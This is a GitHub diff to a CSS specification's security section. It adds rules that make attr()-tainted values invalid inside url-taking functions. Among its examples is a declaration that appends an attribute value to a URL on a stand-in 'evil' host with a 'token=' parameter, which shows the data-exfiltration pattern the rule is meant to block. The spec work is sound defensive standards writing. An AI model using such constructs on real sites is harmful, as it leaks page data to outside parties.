You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
maintain the [=attr()-taint=] on their [=attr()-tainted=] values
1564
+
across [=var() substitution=].
1565
+
1566
+
Using an [=attr()-tainted=] value as or in a <<url>>
1567
+
makes a declaration [=invalid at computed-value time=].
1565
1568
1566
1569
<div class=example>
1567
1570
For example,
@@ -1571,6 +1574,13 @@ Security</h4>
1571
1574
* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
1572
1575
* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
1573
1576
* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.
1577
+
1578
+
However, using ''attr()'' for other purposes is fine,
1579
+
even if the usage is <em>near</em> a url:
1580
+
1581
+
* ''background-image: image("foo.jpg", attr(bgcolor <color>))'' is fine;
0 commit comments